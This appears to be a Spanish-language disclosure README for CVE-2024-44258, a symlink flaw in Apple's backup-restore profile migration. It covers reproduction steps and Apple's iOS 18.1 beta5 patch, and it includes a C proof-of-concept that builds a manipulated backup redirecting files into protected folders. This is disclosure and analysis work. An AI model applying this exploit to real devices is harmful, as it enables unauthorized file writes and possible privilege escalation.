
CVE-2024-44258
CVE-2024-44258 destaca una vulnerabilidad de symlink dentro del framework ManagedConfiguration y el daemon profiled en dispositivos Apple. Al restaurar un backup manipulado, el proceso de migración no valida si la carpeta de destino es un enlace simbólico (symlink), lo que conduce a una migración no autorizada de archivos hacia áreas restringidas.
CVE-2024-44258 ha sido asignado a este problema. Los CVE son identificadores únicos para vulnerabilidades de seguridad divulgadas públicamente.
Para más información, consulte las páginas oficiales de soporte de Apple:
La vulnerabilidad permite a los atacantes aprovechar enlaces simbólicos durante la restauración de un backup para evadir las restricciones de carpeta, escribiendo archivos en áreas sandbox o protegidas. Esta falla puede permitir potencialmente acceso no autorizado a datos, escalada de privilegios o la explotación de otros servicios que dependen de la configuración modificada.
Crear un backup manipulado
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
Agregar los archivos deseados
/private/var/mobile/Library/ConfigurationProfilesRestaurar el backup manipulado
Reiniciar el dispositivo
Esperado:
/private/var/mobile/Library/ConfigurationProfiles debería migrar a:
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
Real:
Debido al symlink manipulado, los archivos se migran a una carpeta restringida que puede contener datos sensibles o protegidos.
Esta vulnerabilidad ha sido observada en estado salvaje durante varios meses, lo que indica su explotación activa.
En iOS 18.1 beta5, Apple introdujo un parche para abordar la vulnerabilidad de symlink dentro del framework ManagedConfiguration. Se agregó la función _MCDestinationPathIsSafeFromSymlinkAttacks para realizar una verificación de seguridad en la ruta de destino, evitando la migración no autorizada de archivos hacia áreas restringidas. Esta verificación se añadió específicamente a la función MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:.
-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]La corrección de la vulnerabilidad se implementó modificando la función -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:], responsable de manejar las migraciones de archivos dentro del framework ManagedConfiguration. Así funciona el parche:
Adición de la verificación de symlink
Apple agregó una llamada a _MCDestinationPathIsSafeFromSymlinkAttacks al inicio de MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:. Esta función ahora verifica si la ruta de destino está libre de enlaces simbólicos, añadiendo una capa de protección antes de realizar cualquier operación de migración.
Verificación de condición
Si _MCDestinationPathIsSafeFromSymlinkAttacks detecta un symlink en la ruta de destino, impide que la migración continúe. La función registra un mensaje de fault usando OS_LOG_TYPE_FAULT y sale de forma anticipada, deteniendo la operación de archivo.
Usando Diaphora en IDA, una comparación diff entre iOS 18.1 beta4 e iOS 18.1 beta5 revela los cambios en la función -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]. La imagen a continuación muestra el código modificado con la verificación de symlink añadida.

A continuación se muestra un fragmento de código de ejemplo que demuestra cómo crear un backup que explota la vulnerabilidad. Este código describe cómo agregar symlinks y archivos al backup, simulando el proceso sin proporcionar el archivo de backup manipulado real.
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // THIS NEED TO BE CHANGED TO THE FILE PATH
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // WE ADD OUR FILES
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // CHANGE THE PATH TO THE SANDBOXED FOLDER YOU WANT TO WRITE IN YOUR FILES
backup_write_mbdb(backup); // SAVE THE BACKUP
backup_free(backup);
Agradecimiento especial al equipo de seguridad de Apple por su rápida respuesta y colaboración.
Vulnerabilidad descubierta por Hichem Maloufi y Christian Mina
Este repositorio está bajo la Licencia MIT. Consulte LICENSE para más información.